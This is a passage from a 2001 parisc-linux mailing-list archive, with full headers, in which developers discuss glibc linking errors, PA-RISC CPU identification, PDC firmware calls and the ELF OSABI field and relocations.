/home/willy/cvs/glibc-merge/csu/../sysdeps/unix/sysv/linux/init-first.c:59: multiple definition of `__libc_multiple_libcs'
/home/willy/cvs/glibc-build/elf/dl-allobjs.os:/home/willy/cvs/glibc-merge/elf/../sysdeps/generic/dl-cache.c:149: first defined here
collect2: ld returned 1 exit status

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bizarre linking problems with glibc
Date: Wed, 2 May 2001 18:35:50 +0930
Lines: 15
Approved: news@gmane.org
Message-ID: <20010502183550.A5494@squeak.one.net.au>
References: <20010502085517.J18144@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620091 18774 80.91.229.3 (22 Nov 2014 01:34:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 03:05:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob01.one.net.au (mail-ob01.one.net.au [61.12.0.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65695482A
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 03:05:05 -0600 (MDT)
Original-Received: Received: [from squeak.local (async152-ade-isp-7.nas.one.net.au [203.101.92.153])
	by mail-ob01.one.net.au  with SMTP id f42958K04758
	for <parisc-linux@parisc-linux.org>; Wed, 2 May 2001 19:05:09 +1000 (EST)]
Original-Received: (qmail 5585 invoked by uid 179); 2 May 2001 09:05:50 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010502085517.J18144@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, May 02, 2001 at 08:55:17AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10963

On Wed, May 02, 2001 at 08:55:17AM +0100, Matthew Wilcox wrote:
> --- elf/dl-error.c      2001/04/25 18:39:32     1.6.2.1
> +++ elf/dl-error.c      2001/05/01 23:10:34
> @@ -154,6 +154,8 @@ _dl_catch_error (const char **objname, c
>        return 0;
>      }
>  
> +printf("_dl_catcherror: we longjmped\n");
> +
> 
Use _dl_sysdep_output (int fd, const char *msg, ...).





From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] May release
Date: Wed, 2 May 2001 12:24:59 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C2011947DE@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620092 18777 80.91.229.3 (22 Nov 2014 01:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 11:11:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32EEE482A
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 11:11:28 -0600 (MDT)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel1.hp.com (Postfix) with ESMTP id 0E43FF98
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 10:11:27 -0700 (PDT)
Original-Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186])
	by xparelay2.corp.hp.com (Postfix) with ESMTP id 7BE891F50B
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 13:09:24 -0400 (EDT)
Original-Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <J45A2VB0>; Wed, 2 May 2001 13:11:20 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:10964

FYI, the HP folks on this port are working towards an end-May release.  This
might explain some of the risk-averse behavior you see from us over the
coming weeks.

You can look at the following to see more detail on the goals & contents for
this release:

http://puffin.external.hp.com/~acmeyer/ProjectPlan.html

Thanks for any help,
Alan
 




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@mail.lucifier.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Diag insn
Date: Wed, 2 May 2001 13:23:24 -0400 (EDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <200105021723.f42HNOt11713@mail.lucifier.net>
References: <200104030240.UAA10418@puffin.external.hp.com>
Reply-To: mickey@lucifier.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620092 18779 80.91.229.3 (22 Nov 2014 01:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:52 +0000 (UTC)
Cc: mickey <mickey@lucifier.net>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 11:23:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from koza.acecape.com (ns1.acecape.com [160.79.54.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5D9A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 May 2001 11:23:41 -0600 (MDT)
Original-Received: from mail.lucifier.net (versalo.lucifier.net [160.79.161.23])
	by koza.acecape.com (8.10.1/8.9.3) with ESMTP id f42HNVh08735;
	Wed, 2 May 2001 13:23:36 -0400 (EDT)
Original-Received: (from mickey@localhost)
	by mail.lucifier.net (8.11.2/8.11.2) id f42HNOt11713;
	Wed, 2 May 2001 13:23:24 -0400 (EDT)
In-Reply-To: <200104030240.UAA10418@puffin.external.hp.com> from Grant Grundler
 at "Apr 2, 2001 08:40:24 pm"
X-Operating-System: BSD 2.11
X-Flames-To: /dev/null
X-Elm-Rules: righton
X-Mailer: ELM [version 2.4ME+ PL66 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:10965

Making, drinking tea and reading an opus magnum from Grant Grundler:
> 
> [ mickey - I cc'd the list so the right people can correct
>   my ignorane below ]
> 
> mickey wrote:
> > did not find it in the maillists or the doc.
> > although you say you are not much of a cpu guy, maybe you
> > can bounce it to smb who is?
> > the question is, how to definately distinguish pa7300lc
> > from let's say 7100lc (which is similar to it), besides
> > cache size, if possible.
> 
> I can take a whack at this: PDC MODEL and PDC CPU calls.
> The PDC for the various boxes will know exactly which type of CPU
> (down to chip rev level) and this info is availble throught PDC
> calls. parisc-linux dumps this info at boot time.
> E.g. linux/arch/parisc/kernel/setup.c:collect_boot_cpu_data()

uhm. cpuid does not exist on pa1 machines.
pdc_model_cpuid returns the machine id which rather
corresponds to an 'A180' kind of identification.
then, according to this, the only way to identify
7300lc is to match on machine=743, machine=<smth>, etc.
which is rather bulky.

> My offhand knowledge ends on where exactly to find the data for
> each CPU type. I think the PARISC 2.0 Arch has a table in an appendix
> which describes the various models and which value they will have.
> You can also browse the HW data base and extract the same info.
> (See http://216.208.98.4/view.php3?type=machine&name=A180C)
> 
> Oh - and parisc-linux determines the type based on a table.
> See arch/parisc/kernel/hardware.c:parisc_get_cpu_type()

yes, i was think more along the lines of gathering features for cpu
and then make an educated guess on cpu type.
it seems 7300lc does not have particular and distinct one feature
to differentiate it from 7100lc, besides cache size, which is,
of coure, a way to identify it, but a weak on i'd say.

> > the reason is that 7300lc uses a different diag-sequences
> > to operate block tlb and such.
> 
> AFAIK, those things are not portable across parisc implementations.

i'm aware of that (:

> But if you want to play with such code, finding the CPU type is trivial
> in comparison.
> 
> BTW, PDC calls are provided to manage the block tlb (call will fail if
> the CPU doesn't have block TLB). Some "Hversion specific" PDC calls
> are provided to perform diag insns (eg set default wide mode on PA2.0 CPUs).
> Don't how many PDC calls use diag insn or which of those calls are
> published (documentation).
> 
> If you could be more specific about what you want to do, I'm sure folks
> on this list would advise/help determine the "best" way to do it.
> grant

well, yes, the main goal is to have a difference on 7100lc vs 7300lc to
use proper diag insn sequences to init tlb and other stuff,
w/o bothering w/ pdc calls, which are sometimes not very reliable.

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFOSABI_LINUX
Date: Wed, 2 May 2001 11:10:16 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200105021812.LAA04905@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416620092 18781 80.91.229.3 (22 Nov 2014 01:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:52 +0000 (UTC)
To: "Matthew Wilcox" <willy@ldl.fc.hp.com>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 12:12:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BAB3482A
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 12:12:44 -0600 (MDT)
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel2.hp.com (Postfix) with ESMTP id 0DDD578B
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 11:12:39 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA04905;
	Wed, 2 May 2001 11:12:32 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:10966

>One subversive developer suggested a third alternative -- that we think up
>& implement an extension to the ABI so we have to use ELFOSABI_LINUX :-)

There's no harm in claiming to use extensions that you really don't use 
-- even if there aren't any such extensions to use. We recommend, but do 
not require, that you set the OSABI field to zero if there are no 
extensions in use.

The only downside here is that some non-Linux ELF consumer might decide 
up front that it can't read the file because it doesn't understand the 
extensions. A well-written consumer, however, will wait until it actually 
sees an extension before deciding whether or not it understands it.

-cary




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Diag insn
Date: Wed, 02 May 2001 13:13:40 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <200105021913.NAA12938@puffin.external.hp.com>
References: <200105021723.f42HNOt11713@mail.lucifier.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620092 18785 80.91.229.3 (22 Nov 2014 01:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mickey@lucifier.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 13:20:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 564DF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 May 2001 13:20:17 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA12938;
	Wed, 2 May 2001 13:13:40 -0600
In-Reply-To: Your message of "Wed, 02 May 2001 13:23:24 EDT."
             <200105021723.f42HNOt11713@mail.lucifier.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10967

Michael Shalayeff wrote:
...
> well, yes, the main goal is to have a difference on 7100lc vs 7300lc to
> use proper diag insn sequences to init tlb and other stuff,
> w/o bothering w/ pdc calls, which are sometimes not very reliable.

I can't agree with that.  I'm sure PDC on most platforms has some bugs.
But "required" (as defined by HPUX) PDC calls work.
Not using PDC in this case (BTLB init) seems silly to me since it
offers binary compatibility across platforms and archs.

See the parisc-linux.org FAQ on how to update PDC if you suspect someone
has buggy firmware. And reporting PDC bugs here could lead to them being
fixed (depends on severity and machine type) or "clean" workarounds.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@mail.lucifier.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Diag insn
Date: Wed, 2 May 2001 15:30:16 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200105021930.f42JUGd08376@mail.lucifier.net>
References: <200105021913.NAA12938@puffin.external.hp.com>
Reply-To: mickey@lucifier.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620093 18788 80.91.229.3 (22 Nov 2014 01:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:53 +0000 (UTC)
Cc: mickey@lucifier.net, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 13:30:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from koza.acecape.com (ns1.acecape.com [160.79.54.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1E7D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 May 2001 13:30:24 -0600 (MDT)
Original-Received: from mail.lucifier.net (versalo.lucifier.net [160.79.161.23])
	by koza.acecape.com (8.10.1/8.9.3) with ESMTP id f42JUNh25925;
	Wed, 2 May 2001 15:30:23 -0400 (EDT)
Original-Received: (from mickey@localhost)
	by mail.lucifier.net (8.11.2/8.11.2) id f42JUGd08376;
	Wed, 2 May 2001 15:30:16 -0400 (EDT)
In-Reply-To: <200105021913.NAA12938@puffin.external.hp.com> from Grant Grundler
 at "May 2, 2001 01:13:40 pm"
X-Operating-System: BSD 2.11
X-Flames-To: /dev/null
X-Elm-Rules: righton
X-Mailer: ELM [version 2.4ME+ PL66 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:10968

Making, drinking tea and reading an opus magnum from Grant Grundler:
> Michael Shalayeff wrote:
> ...
> > well, yes, the main goal is to have a difference on 7100lc vs 7300lc to
> > use proper diag insn sequences to init tlb and other stuff,
> > w/o bothering w/ pdc calls, which are sometimes not very reliable.
> 
> I can't agree with that.  I'm sure PDC on most platforms has some bugs.
> But "required" (as defined by HPUX) PDC calls work.
> Not using PDC in this case (BTLB init) seems silly to me since it
> offers binary compatibility across platforms and archs.

there are many ways on achieving binary compatibility,
one of which will be a pointer to function.
this does not dismiss the initial question of course,
how to detect 7100lc vs 7300lc besides cache size
and machine model number, if ther is no way to do so,
then there is no way to do so.

> See the parisc-linux.org FAQ on how to update PDC if you suspect someone
> has buggy firmware. And reporting PDC bugs here could lead to them being
> fixed (depends on severity and machine type) or "clean" workarounds.

again, between two choices of system boots and it does not boot
until pdc bugs get fixed or otherwise problems resolved it
seems the first one wins.

let's say hypothetically.

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFOSABI_LINUX
Date: Thu, 3 May 2001 09:17:35 +0930
Lines: 18
Approved: news@gmane.org
Message-ID: <20010503091735.B5695@squeak.one.net.au>
References: <20010501213458.Y6063@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620093 18792 80.91.229.3 (22 Nov 2014 01:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  2 17:46:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18973482A
	for <parisc-linux@parisc-linux.org>; Wed,  2 May 2001 17:46:37 -0600 (MDT)
Original-Received: Received: [from squeak.local (async130-ade-isp-2.nas.one.net.au [203.101.90.131])
	by mail-ob03.one.net.au  with SMTP id f42NkQ322739
	for <parisc-linux@parisc-linux.org>; Thu, 3 May 2001 09:46:27 +1000 (EST)]
Original-Received: (qmail 5721 invoked by uid 179); 2 May 2001 23:47:35 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010501213458.Y6063@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Tue, May 01, 2001 at 09:34:58PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10969

Let's see now.

  1) We use relocations that are not mentioned in the Processor
     Specific ABI supplement, eg. R_PARISC_PCREL12F.
  2) PA-ELF32 uses relocations that the parisc psabi says are only
     used by ELF64, eg. R_PARISC_IPLT.  No big deal, except of course
     they're a different size.
  3) PA-ELF32 uses DT_INIT and DT_FINI, which the psabi specifically
     says are not used (by HPUX).  Again no big deal.
  4) HPUX sets a precedent for PARISC, and uses a non-zero OSABI value

and probably other things I haven't thought of at the moment.

Alan





From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Cl=E9ment?= MOYROUD <moyroudc@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dino RS232 works on B132 !
Date: Thu, 03 May 2001 11:11:38 +0200
Organization: ESIEE
Lines: 15
Approved: news@gmane.org
Message-ID: <3AF120CA.66E2F9EF@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620093 18793 80.91.229.3 (22 Nov 2014 01:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  3 03:05:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DF5C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 May 2001 03:05:07 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 471EBD15BC
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 May 2001 11:05:06 +0200 (CEST)
Original-Sender: dino@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10970

Hi all !

I am currently working on the second serial port on the B132L+ we have
here at ESIEE team. A quick hack seems to be working. I need to clean my
changes. I think I'll soon release a patch.

Best regards,

    Clement.

ESIEE Team





From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFOSABI_LINUX
Date: Thu, 3 May 2001 10:28:58 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <200105031731.KAA21930@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416620094 18796 80.91.229.3 (22 Nov 2014 01:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:54 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: <amodra@one.net.au>, "Matthew Wilcox" <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  3 11:31:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C5C7482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 May 2001 11:31:25 -0600 (MDT)
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id 59E41B23; Thu,  3 May 2001 10:31:24 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA21930;
	Thu, 3 May 2001 10:31:16 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:10971

>  1) We use relocations that are not mentioned in the Processor
>     Specific ABI supplement, eg. R_PARISC_PCREL12F.

What is the relocation number? I'll add it. (I hope it's not 13 or 73. 
We've recently added PCREL17FI and PCREL22FI, respectively.)


>  2) PA-ELF32 uses relocations that the parisc psabi says are only
>     used by ELF64, eg. R_PARISC_IPLT.  No big deal, except of course
>     they're a different size.

Is it still 129? I'll add it.

If there are any other relocations you use that aren't in HP's ELF/PA 
document, please let me know.


>  3) PA-ELF32 uses DT_INIT and DT_FINI, which the psabi specifically
>     says are not used (by HPUX).  Again no big deal.

I agree -- no big deal. The document that says they're not used is 
specifically referring to HP-UX, and was not meant to apply to other 
operating systems.


>  4) HPUX sets a precedent for PARISC, and uses a non-zero OSABI value

Well, we *do* use vendor-specific extensions. Plenty of them, in fact.


-cary




From - Thu Nov 08 21:17:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Baron" <cgbaron@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Rj-45 Ethernet card for 735
Date: Fri, 04 May 2001 01:00:08 -0000
Lines: 11
Approved: news@gmane.org
Message-ID: <F156prhMOgRGkQ6mByS0000832d@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620094 18801 80.91.229.3 (22 Nov 2014 01:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  3 19:11:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f156.law15.hotmail.com [64.4.23.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9262482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 May 2001 19:11:44 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 3 May 2001 18:00:08 -0700
Original-Received: from 138.23.87.102 by lw15fd.law15.hotmail.msn.com with HTTP;	Fri, 04 May 2001 01:00:08 GMT
X-Originating-IP: [138.23.87.102]
X-OriginalArrivalTime: 04 May 2001 01:00:08.0302 (UTC) FILETIME=[902430E0:01C0D435]
Xref: news.gmane.org gmane.linux.ports.parisc:10972

What RJ-45 ethernet cards are/will probably be supported for an apollo 735 
machine?

  -Chris

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com





From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFOSABI_LINUX
Date: 03 May 2001 20:11:27 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <m3snilerkw.fsf@otr.mynet.cygnus.com>
References: <200105021812.LAA04905@adlmail.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620094 18803 80.91.229.3 (22 Nov 2014 01:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:54 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@ldl.fc.hp.com>,
	<parisc-linux@parisc-linux.org>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  3 21:24:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31DCE482A
	for <parisc-linux@parisc-linux.org>; Thu,  3 May 2001 21:24:32 -0600 (MDT)
Original-Received: from otr.mynet (dialin-sv-01.cygnus.com [205.180.231.51])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id UAA11729;
	Thu, 3 May 2001 20:10:40 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 70523310A; Thu,  3 May 2001 20:11:27 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Cary Coutant's message of "Wed, 2 May 2001 11:10:16 -0700"
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia)
Xref: news.gmane.org gmane.linux.ports.parisc:10973

Cary Coutant <cary@cup.hp.com> writes:

> There's no harm in claiming to use extensions that you really don't use 
> -- even if there aren't any such extensions to use.

There is no harm but I won't allow it. 

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFOSABI_LINUX
Date: Fri, 4 May 2001 10:05:45 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200105041708.KAA08105@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416620095 18804 80.91.229.3 (22 Nov 2014 01:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
